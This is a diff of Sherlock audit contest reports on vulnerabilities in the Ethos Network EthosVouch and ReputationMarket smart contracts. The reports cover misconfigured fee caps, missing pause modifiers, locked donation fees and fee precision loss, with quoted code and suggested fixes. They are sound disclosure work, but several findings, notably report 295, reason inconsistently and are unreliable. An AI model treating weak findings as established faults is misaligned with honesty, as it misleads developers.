`whenNotPaused` modifier for `increaseVouch` function. \ No newline at end of file diff --git a/292.md b/292.md new file mode 100644 index 0000000..adaec69 --- /dev/null +++ b/292.md @@ -0,0 +1,40 @@ +Soft Fossilized Aardvark + +Medium + +# The fee rates in the `EthosVouch` contract and `ReputationMarket` are incorrectly configured + +## Root cause +`EthosVouch` contract: +The `MAX_TOTAL_FEES` was incorrectly set to 100% instead of the intended 10%. +github:[https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120C1-L121C53](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120C1-L121C53) +```solidity + uint256 public constant MAX_TOTAL_FEES = 10000; + uint256 public constant BASIS_POINT_SCALE = 10000; +``` +`ReputationMarket` contract: +There are three types of fees in the contract: protocol fee, donation fee, and exit fee, each with a maximum value of 5%. This results in the total fee rate potentially reaching as high as 15%. +github:[https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L89](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L89) +```solidity + uint256 private constant MAX_PROTOCOL_FEE_BASIS_POINTS = 500; // 5% + uint256 private constant MAX_DONATION_BASIS_POINTS = 500; // 5% +``` +## Impact +The fee rates in the EthosVouch contract and ReputationMarket are incorrectly configured, which could result in the total fee rate exceeding 10%. +## Internal pre-condition +- None +## External pre-condition +- None + + +## Mitigation +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; + uint256 public constant BASIS_POINT_SCALE = 10000; +``` +```diff +- uint256 private constant MAX_PROTOCOL_FEE_BASIS_POINTS = 500; // 5% ++ uint256 private constant MAX_PROTOCOL_FEE_BASIS_POINTS = 250; // 2.5% + uint256 private constant MAX_DONATION_BASIS_POINTS = 500; // 5% +``` \ No newline at end of file diff --git a/293.md b/293.md new file mode 100644 index 0000000..aa1a7aa --- /dev/null +++ b/293.md @@ -0,0 +1,29 @@ +Soft Fossilized Aardvark + +Medium + +# The initialization function does not check the fund fee rates + +## Root cause +The contract strictly limits the total fund fee rate to not exceed 10%. The `EthosVouch` contract performs a `checkFeeExceedsMaximum` check when setting fees. However, this check is missing in the `initialize` function. Worse, if the sum of any three fee rates exceeds `MAX_TOTAL_FEES`, the administrator is [unable to restore the fee rates to normal](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1003) parameters. +## Impact +The contract's total fees may be set to exceed 10% and can never be restored to a valid configuration. +## Internal pre-condition +## External pre-condition +In the `initialize` function, the total fund fee rate is set to exceed `MAX_TOTAL_FEES`,, and the sum of any three fee rates exceeds `MAX_TOTAL_FEES`,. This configuration can result in the total fee rate being invalid and unrecoverable. + +## PoC +When the administrator attempts to modify one of the fees to a valid value, the transaction will revert because the sum of the remaining three fees exceeds the `MAX_TOTAL_FEES`, which causes the total fee rate to exceed the allowed limit. +```solidity + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; +@> if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` +## Mitigation +Perform a maximum value check on the fee rates passed to the `initialize` function of both contracts. \ No newline at end of file diff --git a/294.md b/294.md new file mode 100644 index 0000000..1621323 --- /dev/null +++ b/294.md @@ -0,0 +1,32 @@ +Soft Fossilized Aardvark + +Medium + +# Not restricting the vouching for `mockId` could result in funds being locked in the contract + +## Root cause +The EthosVouch contract does not restrict users from vouching for a `mockProfile`, based on the assumption that the `mockProfile` will later be created and used. However, this assumption is not always valid. Let’s analyze a few scenarios where a `mockId` might be created: + +1. **Publishing Reviews for an EVM Address Not Associated with a Profile:** + In this case, the subject can be any valid EVM address, such as Uniswap or other ecosystem protocol contracts. Since these addresses do not implement the functionality to call `createProfile` and associate the `mockId` with a verified profile, this `mockId` will never become a valid profile. + +2. **Publishing Reviews for an Attestation Not Associated with a Profile:** + In this scenario, a new `profileId` will be occupied, effectively creating a `mockId`. If the attestation is later claimed by a verified profile, the previously created `mockProfile` becomes obsolete. Furthermore, this `mockProfile` will never have an address associated with it, rendering it permanently inactive. + +If a user vouches for either of the two types of `mockProfiles` described above, part of the user's funds will be used to pay the [entryDonationFee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L944-L946). This fee needs to be claimed by the address associated with the `mockProfile`. However, since the aforementioned types of `mockProfiles` will never have an associated address, this portion of the funds will remain unclaimable and locked in the contract indefinitely. + +## Impact +Some fee-related funds may become locked in the contract, with no one able to claim them. +## Internal pre-condition +- None +## External pre-condition +- None + +## PoC +1. User 1 posts a review on an unassociated Attestation, which will occupy profileId=2, effectively creating a mockProfile. +2. Some users vouch for this `mockProfile`. +3. The `entryDonationFee` paid by these users cannot be claimed by anyone, and will be locked in the contract. + +## Mitigation + +The protocol should consider a mechanism for handling these funds to prevent the fees from being permanently locked in the contract. \ No newline at end of file diff --git a/295.md b/295.md new file mode 100644 index 0000000..829b258 --- /dev/null +++ b/295.md @@ -0,0 +1,66 @@ +Acidic Glossy Monkey + +Medium + +# The contract `EthosVouch.sol` has Incorrect Access Control in `setProtocolFeeAddress` Function + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L624 +### Summary + +This issue is classified as a `Medium Severity` finding due to the potential for direct loss of fees from the protocol. + +In the `EthosVouch:624` contract, the function `setProtocolFeeAddress` is currently restricted to the `onlyOwner` role. This design flaw allows only the owner to update the protocol fee address, which can lead to unauthorized manipulation or neglect of administrative responsibilities, resulting in protocol fee mismanagement or loss. + +The primary concern is that any party with the owner's privileges might set the fee address inappropriately, leading to loss of protocol fees on high-volume transactions + +### Root Cause + +In the function `EthosVouch.sol:624` we are change the address of the feeAddress. So this is only be call by `onlyAdmin`. There is wrong Implementation to `onlyOwner`. + +```javascript + +@> function setProtocolFeeAddress(address _protocolFeeAddress) external onlyOwner { + if (_protocolFeeAddress == address(0)) revert InvalidFeeProtocolAddress(); + protocolFeeAddress = _protocolFeeAddress; + emit ProtocolFeeAddressUpdated(protocolFeeAddress); + } + +``` + +### Internal pre-conditions + +`onlyOwner` is used to guard the `setProtocolFeeAddress` function. + +### External pre-conditions + +A malicious or negligent owner can manipulate the protocol fee address to their advantage. + +### Attack Path + +1. The owner (or an entity exploiting the owner's privileges) updates the `setProtocolFeeAddress` to an unintended or malicious address. +2. Protocol fees from transactions are redirected or lost, compromising protocol revenues. + +### Impact + +There are several impacts to this bug. +1. **Loss of fees:** If the `onlyAdmin` is not Implemented user never have to pay the fee on an transaction and This is heavy loss to the protocol on big transactions. +2. **Loss of trust:** If the user find out that the protocol is not charging the fee on transaction + +### PoC + +The issue can be identified through a manual review of the `EthosVouch` contract. Changing the `setProtocolFeeAddress` using the `onlyOwner` role demonstrates the vulnerability. + +### Mitigation + +Replace the `onlyOwner` to `onlyAdmin` can change `setProtocolFeeAddress` function . + +```diff + +- function setProtocolFeeAddress(address _protocolFeeAddress) external onlyOwner { ++ function setProtocolFeeAddress(address _protocolFeeAddress) external onlyAdmin { + if (_protocolFeeAddress == address(0)) revert InvalidFeeProtocolAddress(); + protocolFeeAddress = _protocolFeeAddress; + emit ProtocolFeeAddressUpdated(protocolFeeAddress); + } + +``` \ No newline at end of file diff --git a/296.md b/296.md new file mode 100644 index 0000000..8f998a6 --- /dev/null +++ b/296.md @@ -0,0 +1,43 @@ +Original Boysenberry Hare + +Medium + +# Missing Deadline Parameter in `buyVotes()` and `sellVotes()` Functions + +## Description + +**Context:** + +Users buy Trust/Distrust votes from the Reputation Market, predicting that other users will later buy the same vote type they purchased. This allows them to sell their votes at a higher price, earning a profit from the price rise. + +**Vulnerability Details:** + +The functions responsible for [buying](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493) and [selling](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) votes are missing a `deadline` parameter. If a transaction is delayed, users may unknowingly execute trades that are not in their favor. + +While the `buyVotes()` function includes a slippage check, it does not guarantee that a non-reverted trade outcome, is in the best interest of the buyer or seller in case the transaction gets delayed. + +## Impact + +**Damage:** High + +**Likelihood:** Low + +**Details:** Users may unknowingly execute unfavorable trades, resulting in fewer votes being bought or sold than expected, due to transaction delays and the price changes that occur during those delays. + +## Proof of Concept + +**Attack Path:** + +1. A user attempts to buy votes from the reputation market by calling the `buyVotes()` function with `10 ETH` (hypothetically, lets say each vote costs 1 ETH) and allowing up to `30% slippage`. +2. The user expects to receive `10 votes` in return. Unfortunately, the user transaction is delayed by `4–5 blocks`, and others transactions are mined first. +3. Due to the delay and subsequent price changes caused by other users vote buy/sell transactions, the initial user ends up receiving only `8 votes` instead of the expected `10`. + +Similar Issues: [[1](https://solodit.cyfrin.io/issues/m-06-missing-deadline-check-for-afeth-actions-code4rena-asymmetry-finance-asymmetry-finance-git), [2](https://solodit.cyfrin.io/issues/m-01-missing-deadline-checks-allow-pending-transactions-to-be-maliciously-executed-code4rena-backed-protocol-papr-contest-git)] + +**POC:** + +- Not Needed + +## Recommended Mitigation + +Add a `deadline` parameter to the `buyVotes()` and `sellVotes()` functions. This parameter will allow users to specify a `block.timestamp` after which the trade should expire, preventing unfavorable trade outcomes due to transaction delays. \ No newline at end of file diff --git a/297.md b/297.md new file mode 100644 index 0000000..08abfb9 --- /dev/null +++ b/297.md @@ -0,0 +1,47 @@ +Damaged Lipstick Cheetah + +Medium + +# Incorrect value for `MAX_TOTAL_FEES` constant breaks fee limiting functionality + +### Summary + +`MAX_TOTAL_FEES` is set to 10000 instead of 1000, which is a 100% instead of a 10% for the limit of expected max fees. + +### Root Cause + +In [EthosVouch.sol::120](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120), the `MAX_TOTAL_FEES` is set to 10000, instead of 1000. +From the readme in "Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths?" section, it is expected that "Maximum total fees cannot exceed 10%" for both contracts. + +However, because `MAX_TOTAL_FEES` has an additional 0, the fee checks in basis points will be compared against 100%, not 10%, allowing fees to be higher than 10%. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +Any change from the admin to set new protocol fees will be incorrectly checked against 100%, instead of 10%. + +### Impact + +Medium. The README explicitly states that _"Maximum total fees cannot exceed 10%"_. However, as demonstrated, it can be exceeded. + +### PoC + +_No response_ + +### Mitigation + +Update `MAX_TOTAL_FEES` to 10% in bps: + +```diff +// File: EthosVouch.sol + +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/298.md b/298.md new file mode 100644 index 0000000..9c2f958 --- /dev/null +++ b/298.md @@ -0,0 +1,151 @@ +Sweet Carmine Dachshund + +Medium + +# Ethos protocol may incur a loss of entry fees if the vouched account has no active vouches + +### Summary + +[`EthosVouch#applyFees()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929-L965) pre-calculates `vouchersPoolFee` even the vouched account has no active vouches, potentially leading to reduced `protocolFee` and `donationFee` + +### Root Cause + +When a user vouches another account, they need to pay entry fees: +```math +\begin{align*} +fees_{entry} &= fees_{protocol} + fees_{donation} + fees_{vouchersPool} \\ +fees_{protocol} &= amount_{deposited} * bips_{protocol} \\ +fees_{donation} &= amount_{deposited} * bips_{donation} \\ +fees_{vouchersPool} &= amount_{deposited} * bips_{vouchersPool} \\ +amount_{total} &= amount_{deposited} + fees_{protocol} + fees_{donation} + fees_{vouchersPool}\\ +\end{align*} +``` + $fees_{vouchersPool}$ should be 0 if the vouched account has no active vouches. the calculation will be different: +```math +\begin{align*} +amount_{total} &= amount_{deposited} + fees_{protocol} + fees_{donation} \\ +&= amount_{deposited} * (1 + bips_{protocol} + bips_{donation}) \\ +\end{align*} +``` +Given $bips_{protocol} = 0.01 $, $bips_{donation} = 0.02$, $bips_{vouchersPool} = 0.04$, if a user want to vouch `100 ETH`, they should pay `103 ETH`: +```math +\begin{align*} +amount_{total} &= amount_{deposited} * (1 + bips_{protocol} + bips_{donation}) \\ +&= 100 ETH * (1 + 1\% + 2\%) \\ +&= 103 ETH\\ +\\ +fees_{entry} &= amount_{total} - amount_{deposited} \\ +&= 103 ETH - 100 ETH\\ +&= 3 ETH\\ +\end{align*} +``` +However when [`EthosVouch#applyFees()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929-L965) is called to calculate entry fees, `vouchersPoolFee` is deducted in advance: +```solidity +938: uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); +``` + then it will be set to `0` if the vouched account has no active vouches: +```solidity +947: if (vouchersPoolFee > 0) { +948: // update the voucher pool fee to the amount actually distributed +949: vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); +950: } +``` +```solidity + function _rewardPreviousVouchers( + uint256 amount, + uint256 subjectProfileId + ) internal returns (uint256 amountDistributed) { + uint256[] storage vouchIds = vouchIdsForSubjectProfileId[subjectProfileId]; + uint256 totalVouches = vouchIds.length; + + // Calculate total balance of all active vouches + uint256 totalBalance; + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only include active (not archived) vouches in the distribution + if (!vouch.archived) { + totalBalance += vouch.balance; + } + } + + // If this is the first voucher, do not distribute rewards +@> if (totalBalance == 0) { +@> return totalBalance; +@> } + + // Distribute rewards proportionally + uint256 remainingRewards = amount; + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + // Calculate this vouch's share of the rewards + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + vouch.balance += reward; + remainingRewards -= reward; + } + } + } + + // Send any dust (remaining rewards due to rounding) to the subject reward escrow + if (remainingRewards > 0) { + _depositRewards(remainingRewards, subjectProfileId); + } + + return amount; + } +``` + +The incorrect calculation will lead the protocol receive less entry fees. Given $bips_{protocol} = 0.01 $, $bips_{donation} = 0.02$, $bips_{vouchersPool} = 0.04$, if a user pays `103 ETH`, the current entry fees is calculated as below: +```math +\begin{align*} +amount_{total} &= 103 ETH \\ +amount_{total} &= amount_{deposited} + fees_{protocol} + fees_{donation} + fees_{vouchersPool}\\ +&= amount_{deposited} * (1 + bips_{protocol} + bips_{donation} + bips_{vouchersPool}) \\ +\Downarrow \\ +amount_{deposited} &= \frac{1}{1 + bips_{protocol} + bips_{donation} + bips_{vouchersPool}} * amount_{total}\\ +fees_{entry} &= fees_{protocol} + fees_{donation}\\ +&= amount_{deposited} * (bips_{protocol} + bips_{donation}) \\ +&= \frac{(bips_{protocol} + bips_{donation})}{1 + bips_{protocol} + bips_{donation} + bips_{vouchersPool}} * amount_{total}\\ +&= \frac{1\% + 2\%}{1 + 1\% + 2\% + 4\%} * 103 ETH \\ +&= 2.88785 ETH\\ +\end{align*} +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Ethos protocol may incur a loss of entry fees if the vouched account has no active vouches + +### PoC + +_No response_ + +### Mitigation + +The entry fees should be calculated using the following formulas when the vouched account has not active vouches: +```math +\begin{align*} +amount_{total} &= amount_{deposited} * (1 + bips_{protocol} + bips_{donation}) \\ +\Downarrow \\ +amount_{deposited} &= \frac{1}{1 + bips_{protocol} + bips_{donation}} * amount_{total} \\ +\\ +fees_{entry} &= amount_{total} - amount_{deposited} \\ +&= \frac{bips_{protocol} + bips_{donation}}{1 + bips_{protocol} + bips_{donation}} * amount_{total} \\ +\Downarrow \\ +fee_{protocol} &= \frac{bips_{protocol} }{bips_{protocol} + bips_{donation}} * fees_{entry} \\ +fee_{donation} &= \frac{bips_{donation}}{bips_{protocol} + bips_{donation}} * fees_{entry} \\ +fee_{vouchersPool} &= 0 \\ +\end{align*} +``` \ No newline at end of file diff --git a/299.md b/299.md new file mode 100644 index 0000000..dbe703a --- /dev/null +++ b/299.md @@ -0,0 +1,51 @@ +Hot Purple Antelope + +Medium + +# User could increase his vouch, while pause mode is on + +### Summary + +Contract has pauseMode protection. Which means that important functions could be disabled, when pause mode is ON. +But function increaseVouch() could be called, while contract has paused. + +### Root Cause + +In `EthosVouch.sol:426` function increaseVouch() could be called when contract has paused, because this function dont have whenNotPaused modifier. So, contract state could be changed at this moment and eth will be send(fee) from contract. +Such important things should not be executed when contract has paused. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +### Internal pre-conditions + +1. User has vouch + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User create vouch +2. Owner turn on pause mode +3. User increase value of his vouch + +### Impact + +Contract state changed while contract has paused. +Pause mode uses for maintenance or critical situations. so users should not interact with contract at this moment, because it could interfere with the administrator's work with the contract. + +### PoC + +_No response_ + +### Mitigation + +Add modifier whenNotPaused to function increaseVouch() +```diff +function increaseVouch(uint256 vouchId) public payable + nonReentrant ++ whenNotPaused +{ + .... +``` \ No newline at end of file diff --git a/300.md b/300.md new file mode 100644 index 0000000..8ca32db --- /dev/null +++ b/300.md @@ -0,0 +1,57 @@ +Jumpy Pearl Falcon + +Medium + +# `ReputationMarket.sellVotes` doesn't update isParticipant value of `msg.sender` + +### Summary + +`ReputationMarket.sellVotes` doesn't update isParticipant value of `msg.sender` in case senders have sold all their votes. + +### Root Cause + +As described in the documentation comments, `isParticipant` mapping is used to determine whether a user is a participant of a reputation market or not. And can use `isParticipant` to check if senders have sold all their votes. +```solitidy + // profileId => participant address + // append only; don't bother removing. Use isParticipant to check if they've sold all their votes. + mapping(uint256 => address[]) public participants; + // profileId => participant => isParticipant + mapping(uint256 => mapping(address => bool)) public isParticipant; +``` + +In the `buyVotes()` function, the current implementation updates the `isParticipant` mapping by adding buyer to participants if not already a participant. + +```solidity + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } +``` + +However, the current implementation lacks a similar update for the `sellVotes()` function, which does not change the state of `isParticipant[profileId][msg.sender]` from `true` to `false` for sellers who have sold all their votes. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/903834fe8e2fbb8ac3d2af9fe3c8b45dfcb65ced/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +It is possible to cause miscalculations for protocol when using incorrect `isParticipant` mapping in any logic. + +### PoC + +_No response_ + +### Mitigation + +In `sellVotes()` function, Implement logic change the state of `isParticipant[profileId][msg.sender]` from `true` to `false` for sellers who have sold all their votes. \ No newline at end of file diff --git a/301.md b/301.md new file mode 100644 index 0000000..a09add8 --- /dev/null +++ b/301.md @@ -0,0 +1,56 @@ +Generous Macaroon Terrier + +Medium + +# Funds Tracking Vulnerability in Market Funds Calculation + +### Summary + +An accounting logic error will cause incorrect market funds tracking for users as the current implementation improperly includes protocol fees and donations in market funds calculation + +### Root Cause + +in `ReputationMarket.sol` https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 the market fund tracking mechanism incorrectly includes protcol fees and donation amounts when updating `marketFunds[profileId]`, as it should account for funds directly related to the market rather than adding protocol fees and donation which are sent somewhere else + +### Internal pre-conditions + +1. User needs to call buyVote() function +2. includes protocol fees and donation amounts +3. marketFunds[profileId] exists for the specific profile + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User calls `buyVote()` function to purchase votes +2. Function calculates `fundsPaid` including protocol fees and donations +3. `marketFunds[profileId]` gets updated with total `fundsPaid` +4. Protocol fees are sent to `protocolFeeAddress` +5. Donations are sent to `donationEscrow` +6. `marketFunds[profileId]` remains incorrectly inflated + +### Impact + +The users and protocol suffer from incorrect market funds tracking. Specifically: + +1. Market funds are overestimated by including fees redirected to other addresses +2. Potential miscalculations during market graduation or fund withdrawal processes +3. Accounting inconsistencies that could lead to future systemic issues + +### PoC + +_No response_ + +### Mitigation + +Modify the market funds update to exclude protocol fees and donations: + +```solidity +// Before (Vulnerable) +marketFunds[profileId] += fundsPaid; + +// After (Corrected) +marketFunds[profileId] += (fundsPaid - protocolFee - donation); +``` \ No newline at end of file diff --git a/302.md b/302.md new file mode 100644 index 0000000..19ee723 --- /dev/null +++ b/302.md @@ -0,0 +1,63 @@ +Wonderful Coconut Ape + +Medium + +# Missing Pause Protection in `increaseVouch` Function + +### Summary + +The `increaseVouch` function in the EthosVouch contract lacks the `whenNotPaused` modifier, which is inconsistent with other contract functions and bypasses the emergency pause mechanism. This allows users to continue increasing vouches even when the contract is in a paused state, potentially undermining the contract's safety controls. + +### Root Cause + +The absence of the `whenNotPaused` modifier in the function declaration: +```solidity +function increaseVouch(uint256 vouchId) public payable nonReentrant { +// Function implementation +} +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Contract owner/admin pauses the contract due to discovered vulnerability +2. Despite pause, malicious actor can still: +```solidity +// Contract is paused +ethosVouch.increaseVouch{value: 1 ether}(targetVouchId); +``` +3. Transaction succeeds despite pause state +4. Attacker can continue to increase vouches while other protective functions are paused + +### Impact + + +- Bypasses emergency pause mechanism +- Undermines contract's ability to halt operations in critical situations +- Creates inconsistent contract state during emergency +- Allows continued financial operations during security incidents +- Could prevent proper resolution of vulnerabilities +- May impact other paused functions that assume all operations are halted +- Inconsistent pause state across contract functions + +### PoC + +_No response_ + +### Mitigation + + +1. **Immediate Fix:** +```solidity +function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { +// Existing implementation +} +``` \ No newline at end of file diff --git a/303.md b/303.md new file mode 100644 index 0000000..a7a090b --- /dev/null +++ b/303.md @@ -0,0 +1,39 @@ +Damaged Lipstick Cheetah + +Medium + +# Missing fee limit checks in `EthosVouch::initialize` allows "Maximum total fees cannot exceed 10%" invariant to be broken + +### Summary + +Fee values are not checked when initializing the contract, which leads to the _"Maximum total fees cannot exceed 10%"_ from the README being able to be broken. + +### Root Cause + +In [`EthosVouch::initialize()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L259), fees are not checked against the expected maximum values. From [Ethos' Sherlock page](https://audits.sherlock.xyz/contests/675), _"Maximum total fees cannot exceed 10%"_. However, the `initialize` function lacks such checks, which allows for the max fees invariant to be broken. + + + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +The contract is initialized, potentially leading to the invariant of fees exceeding 10% being broken. + +### Impact + +Medium, given that an invariant explicitly mentioned in the README can be effectively broken. + +### PoC + +_No response_ + +### Mitigation + +Considering adding the corresponding checks for fees when initializing `EthosVouch`. \ No newline at end of file diff --git a/304.md b/304.md new file mode 100644 index 0000000..c3a1035 --- /dev/null +++ b/304.md @@ -0,0 +1,118 @@ +Noisy Coal Cod + +Medium + +# Cumulative `calcFee` Precision Loss in `EthosVouch::applyFees()` + +### Summary + +in [EthosVouch:calcFee()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975) +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` +>In America, we add tax to everything. However we are stupid and add the tax ON TOP of the bill. So if your bill is $100, and there's 8% tax, your final bill is $108 +Ethos wants to be just as "clever" +The intent is that when we display to users: "would you like to vouch 100 Eth? Send us 107 Eth. It is 107 Eth because we have fees that add on another 7%" + +This is the wording from sponsor on how the fees are intended to be calculated meaning that the total = 107 eth, deposit = 100 eth and fees = 7 eth +satisfying the formula `total = deposit + fee` +107eth - ((107eth * 10_000)/(10_000 + 700)) = 7eth (fees). + +The issue is this formula assume the percentage fees is counted at once (fees add to 7%) and then calculated with the formula, but due to the different fees paid, this percentage is broken into 3 (on entry) and calculated separately causing the total in fees to exceed 7% and charging the user more for deposit (and not making the user deposit round) + +Note: The 7% used here was the same mentioned in the sponsor comments, fees in the contract tests on entry adds up to 4% but the same principles apply + + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975 + +`EthosVouch::calcFee()` assumes the fees are are calculated at once but +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-L938 +in `EthosVouch::applyFees()`, the fees are calculated individually +```solidity +uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); +uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); +uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); +``` +Example : using the current logic and formula `total - + (total.mulDiv(10_000, (10_000 + feeBasisPoints), Math.Rounding.Floor));` +and intended values of total = 104 eth, deposit = 100 eth and fees = 4 eth (for 4%) +```solidity +104e18 - ((104e18 * 10_000)/(10_000 + 50)) //entry fee 0.5% += 517412935323385860 (0.5174129353233858 eth) + +104e18 - ((104e18 * 10_000)/(10_000 + 150)) // donation fee 1.5% += 1536945812807893000 (1.536945812807893 eth) + +104e18 - ((104e18 * 10_000)/(10_000 + 200)) // voucher pool fee 2% += 2039215686274515000 (2.039215686274515 eth) + +517412935323385860 + 1536945812807893000 + 2039215686274515000 += 4093574434405794000 + +4093574434405794000/1e18 += 4.093574434405793 eth // is taken as fees which is not equal to the intended 4% +``` +This leaves the user deposit as `total - fees` += 99.9064255655942 eth + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +1. User calls vouchByProfileId with valid subjectId and amount to vouch, but due to the precision loss in the calculation of fees, applyFees apply more fees than it should. + +### Impact + +- Users are been overcharged on the amount of fees cause due to the precision of the fee calculation, their deposit is going to be less than the expected (can also reduce users trust in protocol and it reputation) . +- This precision loss is present in every vouch and increase vouch, with more users vouching and increasing their vouch, the more they lose more to fees. +- The protocol ends up with discrepancies in its fee collection and distribution, resulting in financial inaccuracies. + +### PoC + +POC (proof of calculation) presented in the Root Cause + +### Mitigation + +When calculating fees with the formula `total - + (total.mulDiv(10_000, (10_000 + feeBasisPoints), Math.Rounding.Floor));` +which is `total - ((total * 10_000)/(10_000 + feeBasisPoints)) `, the individual fees should be added together and then calculated once and should then be separated and distributed. +```solidity +//intended values of total = 104 eth, deposit = 100 eth and fees = 4 eth (for 4%) +totalFees = entry fee + donation fee + voucher pool fee // => 0.5 + 1.5 + 2 = 4% (in BP 400) + +104e18 - ((104e18 * 10_000)/(10_000 + totalFees)) //total fee 4% += 4000000000000000000 (4 eth) //correct total fees + +(4 eth * 50)/totalFees // entry fee 0.5% += 0.5 eth + +(4 eth * 150)/totalFees // donation fee 1.5% += 1.5 eth + +(4 eth * 200)/totalFees // voucher pool fee 2% += 2 eth + +``` +The new calculation meet the intended values \ No newline at end of file diff --git a/305.md b/305.md new file mode 100644 index 0000000..1dca713 --- /dev/null +++ b/305.md @@ -0,0 +1,38 @@ +Damaged Lipstick Cheetah + +Medium + +# Missing pausability checks in `increaseVouch` + +### Summary + +The `increaseVouch` lacks the `whenNotPaused` modifier, allowing it to be used even when contract is paused. + +### Root Cause + +In [`EthosVouch:increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426), the `whenNotPaused` modifier is missing, which allows the function to still be usable even if the contract is paused. + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +Calling `increaseVouch` even if the contract is paused. + +### Impact + +Medium. All user-facing functions in `EthosVouch` (except `increaseVouch`) are pausable, which makes it clear that the expected behavior is to restrict all functionality if the contract is paused. However, `increaseVouch` will still be usable, which +breaks core contract functionality. + +### PoC + +_No response_ + +### Mitigation + +Add the `whenNotPaused` check to `EthosVouch`'s `increaseVouch` function. \ No newline at end of file diff --git a/306.md b/306.md new file mode 100644 index 0000000..8d6524f --- /dev/null +++ b/306.md @@ -0,0 +1,59 @@ +Generous 